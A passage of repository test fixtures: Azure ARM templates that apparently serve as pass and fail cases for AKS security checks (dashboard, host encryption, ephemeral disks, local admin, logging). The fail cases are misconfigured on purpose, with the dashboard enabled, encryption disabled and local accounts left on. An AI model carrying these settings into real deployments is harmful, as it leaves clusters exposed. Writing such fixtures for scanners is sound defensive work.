\"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"addonProfiles\": {\n          \"kubeDashboard\": {\n            \"config\": null,\n            \"enabled\": true\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"addonProfiles\": \"yo\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"addonProfiles\": {\n          \"kubeDashboard\": {\n            \"config\": null,\n            \"enabled\": false\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2024-03-02\",\n      \"name\": \"fail1\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"count\": 1,\n        \"tags\": {\n          \"Enviroment\": \"Production\"\n        },\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"enableEncryptionAtHost\": false,\n            \"vmSize\": \"Standard_E4ads_v5\",\n            \"osDiskType\": \"Ephemeral\",\n            \"availabilityZones\": [1, 2, 3],\n            \"type\": \"VirtualMachineScaleSets\",\n            \"maxCount\": 6,\n            \"minCount\": 2,\n            \"enableAutoScaling\": true,\n            \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n            \"vnetSubnetID\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/{vnetName}/subnets/{subnetName}\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2024-03-02\",\n      \"name\": \"fail2\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"count\": 1,\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"vmSize\": \"Standard_E4ads_v5\",\n            \"osDiskType\": \"Ephemeral\",\n            \"availabilityZones\": [1, 2, 3],\n            \"onlyCriticalAddonsEnabled\": true,\n            \"type\": \"VirtualMachineScaleSets\",\n            \"vnetSubnetID\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/{vnetName}/subnets/{subnetName}\",\n            \"enableAutoScaling\": true,\n            \"maxCount\": 6,\n            \"minCount\": 2,\n            \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/failA1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters/agentPools\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"failA1\",\n      \"properties\": {\n        \"count\": 1,\n        \"enableEncryptionAtHost\": false,\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"tags\": {\n          \"Environment\": \"Production\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/failA2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters/agentPools\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"failA2\",\n      \"properties\": {\n        \"nodeCount\": 1,\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"tags\": {\n          \"Environment\": \"Production\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2024-03-02\",\n      \"name\": \"pass\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"nodeCount\": 1,\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"enableEncryptionAtHost\": true,\n            \"vmSize\": \"Standard_E4ads_v5\",\n            \"osDiskType\": \"Ephemeral\",\n            \"availabilityZones\": [\n              1,\n              2,\n              3\n            ],\n            \"onlyCriticalAddOns\": true,\n            \"type\": \"VirtualMachineScaleSets\",\n            \"maxCount\": 6,\n            \"minCount\": 2,\n            \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n            \"vnetSubnetID\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/{vnetName}/subnets/{subnetName}\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/passA.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters/agentPools\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"passA\",\n      \"properties\": {\n        \"count\": 1,\n        \"enableEncryptionAtHost\": true,\n        \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"tags\": {\n          \"Environment\": \"Production\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEphemeralOSDisks/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail\",\n      \"properties\": {\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"count\": 1,\n        \"tags\": {\n          \"Environment\": \"Production\"\n        },\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"enableEncryptionAtHost\": true,\n            \"vmSize\": \"Standard_E4ads_v5\",\n            \"availabilityZones\": [\n              1,\n              2,\n              3\n            ],\n            \"type\": \"VirtualMachineScaleSets\",\n            \"vnetSubnetID\": \"\",\n            \"enableAutoScaling\": true,\n            \"maxCount\": 6,\n            \"minCount\": 2,\n            \"orchestratorVersion\": \"\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEphemeralOSDisks/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail2\",\n      \"properties\": {\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"count\": 1,\n        \"osDiskType\": \"Managed\",\n        \"tags\": {\n          \"Environment\": \"Production\"\n        },\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"enableEncryptionAtHost\": true,\n            \"vmSize\": \"Standard_E4ads_v5\",\n            \"osDiskType\": \"Managed\",\n            \"availabilityZones\": [\n              1,\n              2,\n              3\n            ],\n            \"type\": \"VirtualMachineScaleSets\",\n            \"vnetSubnetID\": \"\",\n            \"enableAutoScaling\": true,\n            \"maxCount\": 6,\n            \"minCount\": 2,\n            \"orchestratorVersion\": \"\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSEphemeralOSDisks/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"osDiskType\": \"Ephemeral\",\n        \"vmSize\": \"Standard_DS2_v2\",\n        \"count\": 1,\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"osDiskType\": \"Ephemeral\",\n            \"enableEncryptionAtHost\": true,\n            \"vmSize\": \"Standard_E4ads_v5\",\n            \"availabilityZones\": [\n              1,\n              2,\n              3\n            ],\n            \"type\": \"VirtualMachineScaleSets\",\n            \"vnetSubnetID\": \"\",\n            \"enableAutoScaling\": true,\n            \"maxCount\": 6,\n            \"minCount\": 2,\n            \"orchestratorVersion\": \"\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSLocalAdminDisabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail\",\n      \"properties\": {\n        \"resourceType\": \"Microsoft.ContainerService/managedClusters\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"count\": 1,\n            \"vmSize\": \"Standard_D2_v2\"\n          }\n        ],\n        \"identity\": {\n          \"type\": \"SystemAssigned\"\n        }\n      },\n      \"tags\": {\n        \"Environment\": \"Production\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSLocalAdminDisabled/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail2\",\n      \"properties\": {\n        \"resourceType\": \"Microsoft.ContainerService/managedClusters\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"count\": 1,\n            \"vmSize\": \"Standard_D2_v2\"\n          }\n        ],\n        \"identity\": {\n          \"type\": \"SystemAssigned\"\n        },\n        \"disableLocalAccounts\": false\n      },\n      \"tags\": {\n        \"Environment\": \"Production\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSLocalAdminDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"resourceType\": \"Microsoft.ContainerService/managedClusters\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"default\",\n            \"count\": 1,\n            \"vmSize\": \"Standard_D2_v2\"\n          }\n        ],\n        \"identity\": {\n          \"type\": \"SystemAssigned\"\n        },         \n        \"disableLocalAccounts\": true\n      },\n      \"tags\": {\n        \"Environment\": \"Production\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSLoggingEnabled/AKSLoggingEnabled-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"addonProfiles\": {\n          \"kubeDashboard\": {\n            \"config\": null,\n            \"enabled\": false\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSLoggingEnabled/aksLoggingEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"sshPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"virtualMachineSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"allowedValues\": [\n        \"Standard_B2s\",\n        \"Standard_B2ms\",\n        \"Standard_D2s_v3\",\n        \"Standard_D2_v3\",\n        \"Standard_DS2_v2\",\n        \"Standard_D2_v2\",\n        \"Standard_DS2\",\n        \"Standard_D2\",\n        \"Standard_A2_v2\",\n        \"Standard_A2\"\n      ],\n      \"metadata\": {\n        \"description\": \"The virutal machine size to use. We picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired.\"\n      }\n    },\n    \"kubernetesVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"1.14.6\",\n      \"allowedValues\": [\n        \"1.10.13\",\n        \"1.11.10\",\n        \"1.12.8\",\n        \"1.13.10\",\n        \"1.14.6\"\n      ],\n      \"metadata\": {\n        \"description\": \"The version of Kubernetes.\"\n      }\n    },\n    \"jenkinsDnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '<prefix>.<region>.cloudapp.azure.com'.\"\n      }\n    },\n    \"servicePrincipalAppId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"servicePrincipalAppKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"resourcePrefix\": \"jenkins\",\n    \"OSDiskName\": \"[concat(variables('resourcePrefix'), '-os-disk')]\",\n    \"nicName\": \"[concat(variables('resourcePrefix'), '-nic')]\",\n    \"subnetName\": \"[concat(variables('resourcePrefix'), '-subnet')]\",\n    \"publicIPAddressName\": \"[concat(variables('resourcePrefix'), '-ip')]\",\n    \"vmName\": \"[concat(variables('resourcePrefix'), '-vm')]\",\n    \"virtualNetworkName\": \"[concat(variables('resourcePrefix'), '-vnet')]\",\n    \"vmExtensionName\": \"[concat(variables('resourcePrefix'), '-init')]\",\n    \"frontEndNSGName\": \"[concat(variables('resourcePrefix'), '-nsg')]\",\n    \"aksName\": \"aks\",\n    \"aksDnsPrefix\": \"[concat('aks', uniqueString(resourceGroup().id))]\",\n    \"_artifactsLocation\": \"https://raw.githubusercontent.com/Azure/jenkins/master\",\n    \"_extensionScript\": \"301-jenkins-aks-zero-downtime-deployment.sh\",\n    \"_artifactsLocationSasToken\": \"\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('vmName')]\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n                  \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                  \"keyData\": \"[parameters('sshPublicKey')]\"\n                }\n              ]\n            }\n          }\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('virtualMachineSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"16.04-LTS\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"[variables('OSDiskName')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n            }\n          ]\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n      ],\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"name\": \"[variables('vmExtensionName')]\",\n          \"apiVersion\": \"2015-06-15\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]\",\n            \"[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]\"\n          ],\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Extensions\",\n            \"type\": \"CustomScript\",\n            \"typeHandlerVersion\": \"2.0\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"fileUris\": [\n                \"[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]\"\n              ]\n            },\n            \"protectedSettings\": {\n              